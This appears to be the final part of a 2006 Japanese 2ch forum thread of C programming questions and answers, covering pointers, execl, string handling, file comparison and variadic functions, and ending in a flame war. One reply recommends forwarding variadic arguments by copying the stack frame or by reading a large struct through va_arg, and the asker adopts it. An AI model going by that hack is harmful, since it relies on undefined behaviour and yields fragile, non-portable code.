2006/08/22(火) 23:26:40「上」「アドレス持ってる」の意味がわからん。
0849デフォルトの名無しさん
2006/08/22(火) 23:27:17アセンブラ勉強するといいよ
0850デフォルトの名無しさん
2006/08/22(火) 23:36:02いちばん(・∀・)イイ!!のは、ハードウエアでデコーダ作ってみること
74393 と 74139 と LED マトリクスで何か表示させたりしてみると
アドレスって根本的に本質的に何なのかを体でおぼえることができる
0851デフォルトの名無しさん
2006/08/22(火) 23:47:40ポインタ
ポインタが指す先にある中身を見ると、実データが入っている
ポインタのポインタ
ポインタのポインタが指す先にある中身を見ると、実データが入っている
ポインタは、「ポインタのポインタ」のアドレスを指し示している
ポインタのポインタのポインタ
ポインタのポインタのポインタが指す先にある中身を見ると、実データが入っている
ポインタのポインタは、「ポインタのポインタのポインタ」のアドレスを指し示している
ポインタは、「ポインタのポインタ」のアドレスを指し示している
ポインタのポインタのポインタのポインタ
ポインタのポインタのポインタのポインタが指す先にある中身を見ると、実データが入っている
ポインタのポインタのポインタは、「ポインタのポインタのポインタのポインタ」のアドレスを指し示している
ポインタのポインタは、「ポインタのボインタのポインタ」のアドレスを指し示している
ポインタは、「ポインタのポインタ」のアドレスを指し示している
0852デフォルトの名無しさん
2006/08/22(火) 23:50:000853デフォルトの名無しさん
2006/08/22(火) 23:54:29たとえばアドレスはそこにあるデータの型について無頓着だ。
0854デフォルトの名無しさん
2006/08/22(火) 23:56:40そうだね
B のポインタがまさにそう
0855デフォルトの名無しさん
2006/08/22(火) 23:57:15ちと違わね?
ポインタ
「ポインタ」が指す先にある中身を見ると、実データが入っている
ポインタのポインタ
「ポインタ」が指す先にある中身を見ると、実データが入っている
「ポインタのポインタ」には、「ポインタ」のアドレスが入っている
ポインタのポインタのポインタ
「ポインタ」が指す先にある中身を見ると、実データが入っている
「ポインタのポインタ」には、「ポインタ」のアドレスが入っている
「ポインタのポインタのポインタ」には、「ポインタのポインタ」のアドレスが入っている
ポインタのポインタのポインタのポインタ
「ポインタ」が指す先にある中身を見ると、実データが入っている
「ポインタのポインタ」には、「ポインタ」のアドレスが入っている
「ポインタのポインタのポインタ」には、「ポインタのポインタ」のアドレスが入っている
「ポインタのポインタのポインタのポインタ」には、「ポインタのポインタのポインタ」のアドレスが入っている
0856デフォルトの名無しさん
2006/08/23(水) 00:05:58>>850
メモリ上でどういったことをしてるか物理的に理解するべしってことですよね。。
ハードウェアでデコーダを作る…すいません何をすればいいのかすらわかりません。。
アセンブラは興味あるんでちょっとかじってみようかなとおもいました。
>>851-855
なんとなく実態のばしょ差しているって言うのはわかるんですが、Cだとポインタ型って定義すると
領域が確保されて数値が入るじゃないですか。てことはポインタのポインタにも、
ポインタのポインタのポインタにもポインタのポインタの…にも領域が確保されてるのか??
でもそれだといくらメモリがあっても足らないからそんなわけないし…
じゃあポインタのポインタのポインタの…x100のアドレスの数値が入ってる領域って
一体どこにあるんだ〜って思った次第です。こういうの理解されてる方からしたら
何いってるんだこの人って感じなのかもしれないです
0857デフォルトの名無しさん
2006/08/23(水) 00:14:11> ポインタのポインタのポインタにもポインタのポインタの…にも領域が確保されてるのか??
確保されてるっつーか、確保しなきゃならねえんだから、億劫がらずにmallocしてやれよ
> でもそれだといくらメモリがあっても足らないからそんなわけないし…
ポインタのポインタの…を何重までやれるかっつーのは処理系によるような気がするが
その気になりゃヒープの限りメモリの限り、そのポインタのポインタの…にmalloc
できるんじゃね?
0858デフォルトの名無しさん
2006/08/23(水) 00:36:25何いってるんだこの人。別スレでやってほしいかなぁ。
0859デフォルトの名無しさん
2006/08/23(水) 00:41:180860デフォルトの名無しさん
2006/08/23(水) 00:48:180861デフォルトの名無しさん
2006/08/23(水) 01:00:45そう、理解なんかしなくても使えればそれでいいんだ
0862デフォルトの名無しさん
2006/08/23(水) 01:18:32プログラム上で使用する、何らかのオブジェクトを指し示す為の値。
ポインタのポインタ
ポインタの内、指し示してるオブジェクトがポインタであるもの。
0863デフォルトの名無しさん
2006/08/23(水) 03:20:57誰かエスパーのひと >>847 >>856 の頭の中身を解説してくだしい。
0864デフォルトの名無しさん
2006/08/23(水) 05:43:43execl関数のマニュアルを読むと、
The exec family of functions replaces the current process image
with a new process image.
とあります。
直訳すると、現在のプロセスイメージを新しいプロセスイメージに置き換える。
ということになると思います。
いまいちよくわからないのですが、
execl関数を使うシュチュエーションってどういう状況があるでしょうか?
0865デフォルトの名無しさん
2006/08/23(水) 06:06:11int *p;
と宣言するとポインタ以外にint型の領域も一緒に確保されると思ってる初心者。
0866デフォルトの名無しさん
2006/08/23(水) 06:09:540867デフォルトの名無しさん
2006/08/23(水) 06:19:20UNIX系OSは今でもinit以外のすべてのプロセスはfork()+exec()で作られてんじゃね?
windowsではほとんど使うこと無いなあ。あるプロセスの環境変数変えて実行したいとかstdoutを強制的に
ファイルにして実行したいとかかな。
0868デフォルトの名無しさん
2006/08/23(水) 06:19:42環境依存スレに池。標準Cにexeclなんて関数はない
0869デフォルトの名無しさん
2006/08/23(水) 06:26:48Visual C++ 2005 では、この POSIX 関数は使用しないでください。代わりに ISO C++ 準拠の _execl を使用してください。
て書いてるな。標準って難しいぜ。
0870デフォルトの名無しさん
2006/08/23(水) 10:39:07>case by case
やはり、そうですかね。
でも、何かうまい方法があるのではと、期待していたのですが。
。。。
0871デフォルトの名無しさん
2006/08/23(水) 11:01:30C++ 的にはプログラム全体を統轄するクラスに保持しとくことになるんだが、
C 的にはグローバル変数に保持しとけばいいんじゃないかと思う。
0872デフォルトの名無しさん
2006/08/23(水) 11:26:11C:\Documents and Settings\○○(本名)>
なんですが、テキスト(10日でおぼえるC言語入門教室)は
D:\>
なんです。この違いは何なのでしょうか。
本名表示されているのですがセキュリティ上大丈夫ですか?
0873デフォルトの名無しさん
2006/08/23(水) 11:40:030874デフォルトの名無しさん
2006/08/23(水) 11:58:52その○○はPCのユーザ名。
詳しくはWindowsのコマンドプロンプトについてだから、板違い。
本買うなりググるなり聞くなりしろ。
0875デフォルトの名無しさん
2006/08/23(水) 21:20:43どんな状況でも上手く出来る方法など、ある訳がない。
実生活の話などに置き換えて考えればわかるはずだ。
0876デフォルトの名無しさん
2006/08/24(木) 14:51:22main(int argc, char *argv[])
で、各argv[0], argv[1], argv[2] ,,,,が受け取れる文字列の長さ
には上限がありますか?
0877デフォルトの名無しさん
2006/08/24(木) 15:45:39ない
が、渡す側(シェルとかコマンドプロンプト)には限界がある。
そっちは環境依存なので違う板で聞くといい
0878デフォルトの名無しさん
2006/08/24(木) 17:38:160879デフォルトの名無しさん
2006/08/24(木) 19:12:300880デフォルトの名無しさん
2006/08/24(木) 21:06:54ttp://www.aihara.co.jp/~taiji/option/index-j.html
これは、なかなか秀逸だと思うが。
0881856
2006/08/24(木) 23:27:25int n;
&&&&&…&n;
でnのポインタのポインタの…ぽいんたのアドレスが取れるとなぜか思ってました。
やってみたらできなかったです。どうもすいません
0882デフォルトの名無しさん
2006/08/24(木) 23:55:10仮にその「上限」がわかったとして
その値に依存するコードは間違いなくクソ
0883デフォルトの名無しさん
2006/08/25(金) 00:05:54void main(){
int score=200;
char str[100];
MemoryNewScore(score,str);
printf("%s",str);
}
void MemoryNewScore(int score,char *str){
char newstr[100];
time_t t;
t = time(NULL);
sprintf(newstr,"%d\t\t%s\n",score, ctime(&t));
str=newstr;
}
こんな感じに書いたけどうまくいかない。
0884デフォルトの名無しさん
2006/08/25(金) 00:15:36最後に strcpy(str, newstr) を入れる。
0885デフォルトの名無しさん
2006/08/25(金) 00:25:26それらから本質に帰納できるかどうかは当人の天才的ひらめきに強く依存する
0886デフォルトの名無しさん
2006/08/25(金) 00:29:31ていうか
void MemoryNewScore(int score,char *str){
time_t t;
t = time(NULL);
sprintf(str,"%d\t\t%s\n",score, ctime(&t));
}
でいいんちゃう?駄目なのかな
0887デフォルトの名無しさん
2006/08/25(金) 00:32:17天才的ひらめきっつーか、暗記したものを組み合わせて自分が目的とするものへと
応用していけるかどうか、だろうな
暗記なんてしなくってもよく、自分が必要としているネタがどの本に、とかどのURLに
書いてあったかを憶えていれば問題ないだろ
それが、プログラムを作っていける(どんな言語でもどんなソースでも構わないけど)か
作っていけないかを分ける「センス」っつーやつなのではないかと
0888デフォルトの名無しさん
2006/08/25(金) 00:34:42そもそもMemoryNewScore関数内で
char newstr[100]; とローカル変数を用意する必要がないのでは。
sprintf(str,"%d\t\t%s\n",score, ctime(&t));
}
じゃいかんのか、と。
もちろん
static char newstr[100];
でもできるけれども、出力引数を使い、データを格納する領域は
関数呼び出し元が確保しておくのが自然のような気がする。
0889デフォルトの名無しさん
2006/08/25(金) 00:34:54同調はできないが
0890デフォルトの名無しさん
2006/08/25(金) 00:38:13>>886
>>888
ありがとうございます。勉強になりました。
0891デフォルトの名無しさん
2006/08/25(金) 00:51:05滅茶苦茶だな。
引数をローカル変数のアドレスで上書きするだけで何が起こると思ってるんだか。
0892デフォルトの名無しさん
2006/08/25(金) 02:12:240893デフォルトの名無しさん
2006/08/25(金) 10:53:50ファイルサイズ分の文字列を用意してガバっとfread後、strcmpで出来ますか?
それともおとなしくDOSコマンドfcとかを呼び出した方が確実でしょうか?
0894デフォルトの名無しさん
2006/08/25(金) 11:19:141文字ずつ取得して比較するのをwhileでまわせばいいんでないか
intだからifだけでいけるし
0895デフォルトの名無しさん
2006/08/25(金) 11:23:13無茶だろう。
0896デフォルトの名無しさん
2006/08/25(金) 11:36:13ファイル全部メモリに読み込むのが無茶かどうかは時と場合によるだろ。
0897デフォルトの名無しさん
2006/08/25(金) 11:49:28その後ようやく全部比較し始めるけどな。
0898デフォルトの名無しさん
2006/08/25(金) 12:19:53ありがとうございます。緊急だったので助かりました。
ひとまず1文字ずつ比較しましたが
パフォーマンス見ながらいろいろやってみます。
やはりサイズ→タイムスタンプ→ハッシュ比較が一般的のようですね。
ちょっと調べてみます。
0899デフォルトの名無しさん
2006/08/25(金) 12:20:14釣れますか?
0900デフォルトの名無しさん
2006/08/25(金) 12:24:24タイムスタンプは内容と関係ない。
あと、ハッシュをどうやって計算しているかも考えろ。
0901デフォルトの名無しさん
2006/08/25(金) 15:15:34という配列があって、これには0〜63のうちの4つの数字(重複有)が入っています。
この中の2番目に大きい値と3番目に大きい値を表示しようと考えているのですが、どうしたらよいのでしょうか。
要素が4つしかないのにわざわざソートするのも大仰なんで、できればそれ以外の方法でお願いします。
0902デフォルトの名無しさん
2006/08/25(金) 15:32:59int main(void)
{
int a=0;
int b=1;
func(a,b);
return 0;
}
こういうような、関数を呼ぶ側では変数を渡して、関数側ではそれを配列の要素として受け取るようなことってできますか?
0903デフォルトの名無しさん
2006/08/25(金) 15:41:150905デフォルトの名無しさん
2006/08/26(土) 00:00:19わざわざソートしない方法を考えるのも大げさなんで、できればソートする方法でお願いします。
1,2,2,2 のとき、1番大きい値は 2 で、2番目に大きい値といったらやっぱり 1 だよな?
0906デフォルトの名無しさん
2006/08/26(土) 00:20:55この挙動は実装依存ですか??
0907デフォルトの名無しさん
2006/08/26(土) 00:27:27ソートする方法と
ソートしない方法の
両方を検討することこそ、
そ の 宿 題
のテーマじゃないのか?
0908デフォルトの名無しさん
2006/08/26(土) 00:30:26いや、未定義だろ。
と思って規格を見たんだが、
"the argument shall be a pointer to the initial element of an array of character type."
となっていて、ヌルのときの動作は特に書いてなかった。
まぁ、未定義なんだろうな。
0909デフォルトの名無しさん
2006/08/26(土) 01:05:48初めて気が付いた俺がいる。
0910906
2006/08/26(土) 01:12:57確かにページフォルトか何かで死んでもしょうがない感じですね。
規格書を調べて頂いて、ありがとうございます。
それで、プログラムが終了するときに、ご丁寧にNULLに書き込んでますよってメッセージがでるの。
0912デフォルトの名無しさん
2006/08/26(土) 03:57:30メモリモデルによる。
データがfarまたはhugeポインタなら落ちることもあった
0913デフォルトの名無しさん
2006/08/26(土) 05:30:05そのためにデータセグメントの最初の8バイトは予約されていたわけだな。
つーか、当時のOSはアクセス例外なんて対応してなかったのさ。
0914デフォルトの名無しさん
2006/08/26(土) 07:32:16それは処理系定義の関数は「_」1文字で始めなければいけないという意味であって、
_execl 自体が ISO C++ で規定されているわけではない。
0915デフォルトの名無しさん
2006/08/26(土) 09:15:561234567890
↓↓↓↓↓↓↓↓↓↓
4567890ヌヌヌ ヌ=NULL
上記みたいに3つ横にずらしたいと思っているのですが
何かいい方法はありますか?
0916デフォルトの名無しさん
2006/08/26(土) 09:18:190917デフォルトの名無しさん
2006/08/26(土) 09:20:150918デフォルトの名無しさん
2006/08/26(土) 09:46:46少ないからな。
0919デフォルトの名無しさん
2006/08/26(土) 09:51:20安心しろ答えておいた。言語指定がないからC++だけどなww
0920デフォルトの名無しさん
2006/08/26(土) 09:52:51理由との間につながりが見えんな
0921デフォルトの名無しさん
2006/08/26(土) 10:00:24無能乙
0922デフォルトの名無しさん
2006/08/26(土) 10:14:10処理系定義の関数って何だ?
しかも、C スレで ISO C++ とは??
0923デフォルトの名無しさん
2006/08/26(土) 18:52:05な関数の中から、
bar(int a, int b, const char *x, ...)
という関数を呼ぶにはどうすれば良いのでしょうか?
; 以下のようなマクロの仕様は避けたいです。
#define foo(略
0924デフォルトの名無しさん
2006/08/26(土) 19:07:05{
bar(0, 0, x);
}
0925デフォルトの名無しさん
2006/08/26(土) 19:18:480926923
2006/08/26(土) 19:28:42それだと foo("x", 1, 2) のように呼び出したときにうまくいきません。
>>925
bar が va_list を引数にとる場合はそれで良いと思うんですが、そうじゃなく
て ... の場合、どうやるんでしょうか?
0927デフォルトの名無しさん
2006/08/26(土) 19:36:29int arg1, arg2;
va_list args;
va_start(args , 2);
arg1 = va_arg(args , int);
arg2 = va_arg(args, int);
va_end(args);
bar(arg1, arg2, x);
0928927
2006/08/26(土) 19:39:130929927
2006/08/26(土) 19:40:48int argc, char* argv[]
を仮引数にするな。
0930923
2006/08/26(土) 19:43:19printf のようなフォーマットを行う関数なので
>>929 のようなインターフェースも避けたいです・・・
0931デフォルトの名無しさん
2006/08/26(土) 19:46:49だったら、defineでやるしかないよ
0932デフォルトの名無しさん
2006/08/26(土) 21:25:06そういうことになるから、可変個引数を取る関数は、
printf/vprintfのように...とva_listのそれぞれを引数にとる版、両方定義するのが鉄則。
0933デフォルトの名無しさん
2006/08/26(土) 21:47:05>えっと bar の方はライブラリの関数で変更不可で、
そんならアセンブラだな
綺麗事いっててもベンダが仕様を変えてくれるまで納期は待ってくれないだろ
0934デフォルトの名無しさん
2006/08/26(土) 22:11:12「アセンブラだと何でも出来るから、とりあえずアセンブラと言っておく」
みたいな人もいるから困るね。
>>930
スタックフレームを、丸ごとそのままコピーすればよい。
多少でも規格に沿うようにしたいのなら、
va_listで受けて、必要充分な数のint変数に代入し
それを全て引数としてbar()に渡すという手がある。
また、「規格には沿わないが、現存する普通の処理系なら問題ない」という
レベルで良いならば、
va_argで大きな(例えばint20個)サイズの構造体を受け取ったことにして
それをそのままbarに渡せばよい。
0935923
2006/08/26(土) 22:19:45> それをそのままbarに渡せばよい。
これでいきたいと思います。皆さんアドバイス有り難うございました。
0936デフォルトの名無しさん
2006/08/26(土) 22:25:17フレームポインタがあることを前提に話しているようだが・・・
0937デフォルトの名無しさん
2006/08/26(土) 22:36:52より、ずっとまともな回答でしょ。
0938デフォルトの名無しさん
2006/08/26(土) 22:58:07互換性の範囲も想定せずに「普通の処理系」とか言ってる頓珍漢の何が「まし」なのか知らんが
痛いコード書いてそうだな
0939デフォルトの名無しさん
2006/08/26(土) 23:07:09「アセンブラで」「納期が」
という痛いことを言うだけで、何の解決策も示せなかったくせに
「フレームポインタがどうの」といちゃもんをつけることだけに腐心している
最底辺のコーダーが申しております。
0940デフォルトの名無しさん
2006/08/26(土) 23:08:14悔しさは別のところではらしてね
0941デフォルトの名無しさん
2006/08/26(土) 23:11:33「必要が無いのにアセンブラで書く」のは「痛いコードではない」というわけですね。
0943デフォルトの名無しさん
2006/08/26(土) 23:14:090944デフォルトの名無しさん
2006/08/26(土) 23:17:33可変引数の受け渡しに、スタックを使っていない処理系を挙げていただけますか?
俺は今まで見たことがありませんので。
0945デフォルトの名無しさん
2006/08/26(土) 23:20:250946デフォルトの名無しさん
2006/08/26(土) 23:25:04あー、フレームポインタを知らなかったのか
0947デフォルトの名無しさん
2006/08/26(土) 23:33:45フレームポインタを最適化で省略しても、>>934のやり方は正常に動きますよ?
ところで、あなたのお勧めの「アセンブラ」とやらでは、どうやって解決するんですか?
>>934と同様の方法以外に無いと思いますが。
もし、引数を追加しないで済むのであれば、ジャンプ一発で済むでしょうけどね。
でも、>>923は追加してますよ。
0948デフォルトの名無しさん
2006/08/26(土) 23:36:31^^^^^^
↑
こういう変な仮定をせずに済むように用意されているものだが・・・
0949デフォルトの名無しさん
2006/08/26(土) 23:40:38糞ライブラリが全部悪いんじゃ〜ヽ(`Д´)ノ
はい、次の方どうぞ〜
0950デフォルトの名無しさん
2006/08/26(土) 23:42:300951デフォルトの名無しさん
2006/08/26(土) 23:44:43アセンブラだと、その仮定をせずに解決できるのか?
0952デフォルトの名無しさん
2006/08/26(土) 23:47:29>スタックフレームを、丸ごとそのままコピーすればよい。
を具体的にどう書くのか知りたいのですが・・・
0953デフォルトの名無しさん
2006/08/26(土) 23:50:03その具体的なやり方が、続きに書いてある内容だろ。
0954デフォルトの名無しさん
2006/08/26(土) 23:56:20>va_listで受けて、必要充分な数のint変数に代入し
>それを全て引数としてbar()に渡すという手がある。
これですか?intにおさまらない型の場合もあると思うのですが。
0955デフォルトの名無しさん
2006/08/27(日) 00:06:10変数の中身を書き換えるわけじゃないんだから、複数個のintに分割されるだけ。
もちろん、intの受け渡しにパディングが入るようなら問題だが
普通はそうならない型がintになるように、処理系は作られている。
0956デフォルトの名無しさん
2006/08/27(日) 00:07:05myprintf(const char* format, ...)
の中で、formatと...をprintfに渡すテクニックを見たことがあるような気がするけど、
思い出せないし、見つからない・・・。
0957デフォルトの名無しさん
2006/08/27(日) 00:09:32なるほど、そうなんですか。
ありがとうございました。
0958デフォルトの名無しさん
2006/08/27(日) 00:09:43>>923 の処理系が何かを確認せずに言ってるんだよな、この人・・・
0959デフォルトの名無しさん
2006/08/27(日) 00:12:27いちいちうざいな、こいつ
問題になる処理系を知ってるなら書け
0960デフォルトの名無しさん
2006/08/27(日) 00:20:030961デフォルトの名無しさん
2006/08/27(日) 00:21:31消えろ、クズ
0962デフォルトの名無しさん
2006/08/27(日) 00:22:200963デフォルトの名無しさん
2006/08/27(日) 00:22:31・アセンブラでの解決法(>>948の制限をなくす方法)
・可変引数の受け渡しにスタックを使わない処理系
さっさと書いてくださいよ。
口だけで何言っても、説得力ゼロですよ。
0964デフォルトの名無しさん
2006/08/27(日) 00:24:44>>935のやり方なら、過去スレで見たような。
0965デフォルトの名無しさん
2006/08/27(日) 00:25:21おいくらで?
>・可変引数の受け渡しにスタックを使わない処理系
これはあなたが何の脈絡もなく突然言い出したことで
こちらにはいかなる責任関係も存在しないものと判断しています
0966デフォルトの名無しさん
2006/08/27(日) 00:26:200967デフォルトの名無しさん
2006/08/27(日) 00:26:320968デフォルトの名無しさん
2006/08/27(日) 00:27:080969923
2006/08/27(日) 00:27:180970デフォルトの名無しさん
2006/08/27(日) 00:29:420971デフォルトの名無しさん
2006/08/27(日) 00:29:45ちゃんとお代を頂いているお客様とあなたたちは違います
コードを書いて欲しければ正式に商談をして下さい
0972デフォルトの名無しさん
2006/08/27(日) 00:34:37はい次の質問ドゾー。
0973デフォルトの名無しさん
2006/08/27(日) 00:49:46どこの会社ですか?
プライドだけは高くても、それに能力が追いついていない
そんな無能が偉そうな顔をしている会社とは、取引をしないよう啓蒙していく必要があるので
是非会社名を教えてください。
まさか個人じゃないですよね?
0974デフォルトの名無しさん
2006/08/27(日) 00:52:230975デフォルトの名無しさん
2006/08/27(日) 00:52:44別な意味で苦労が多そうですね
0976デフォルトの名無しさん
2006/08/27(日) 00:55:00ご用命いただけるような金額にはならなさそうですが・・・・
0977デフォルトの名無しさん
2006/08/27(日) 00:58:13中身の無い書き込みだけで、勝ったつもりになりたいから。
0978デフォルトの名無しさん
2006/08/27(日) 00:59:14プライドが邪魔してるんだよね。かわいそうに。
0979デフォルトの名無しさん
2006/08/27(日) 01:01:040980デフォルトの名無しさん
2006/08/27(日) 01:01:160981デフォルトの名無しさん
2006/08/27(日) 01:28:35技術的なやりあいで主張がとおらなかったからってそこまでするかよ
恐れ入った
0982デフォルトの名無しさん
2006/08/27(日) 01:40:12技術的なやりあいって、何一つ実証できない妄言を垂れ流して
実例を挙げろといえば逃げること?
0983デフォルトの名無しさん
2006/08/27(日) 01:50:19ぶっ壊れたロジックが有用と評価された流れは見あたらないようだが・・・
0984デフォルトの名無しさん
2006/08/27(日) 01:59:03別な意味で苦労が多そうだね
0985デフォルトの名無しさん
2006/08/27(日) 02:05:000986デフォルトの名無しさん
2006/08/27(日) 02:06:04この前、公の席でジャップ発言してたバカたれとやり口が似てるんだよな
0987デフォルトの名無しさん
2006/08/27(日) 02:12:55恥の上塗りを繰り返すからいけないんだよ。
0988デフォルトの名無しさん
2006/08/27(日) 02:17:55^^^^^^
↑
上塗りする必要もないほどの赤っ恥もあったがなw
わずか数行のアセンブラを他人に依頼するようなら仕方ないが
0989デフォルトの名無しさん
2006/08/27(日) 02:22:240990デフォルトの名無しさん
2006/08/27(日) 02:57:200991デフォルトの名無しさん
2006/08/27(日) 03:25:35vprintf()というオチではないだろうか?
0992デフォルトの名無しさん
2006/08/27(日) 07:47:47などのように書かれた文献をいくつか見かけたのですが、この「この程度」というのはだいたいどのくらいなのでしょうか?
int型で10,000くらいまでは「この程度」のうちに含まれることを確認しているので、1,000,000くらいかな、と思っているのですが
0993デフォルトの名無しさん
2006/08/27(日) 09:14:42なんで自分が確認してる数値よりも100倍も大きいと思うの?
0994デフォルトの名無しさん
2006/08/27(日) 11:41:550995デフォルトの名無しさん
2006/08/27(日) 13:28:100996デフォルトの名無しさん
2006/08/27(日) 15:44:34【ANSI-C】 C言語なら俺に聞け! Part 129
http://pc8.2ch.net/test/read.cgi/tech/1156661024/
0997デフォルトの名無しさん
2006/08/27(日) 18:24:080998デフォルトの名無しさん
2006/08/27(日) 18:25:040999デフォルトの名無しさん
2006/08/27(日) 18:27:551000デフォルトの名無しさん
2006/08/27(日) 18:28:2610011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。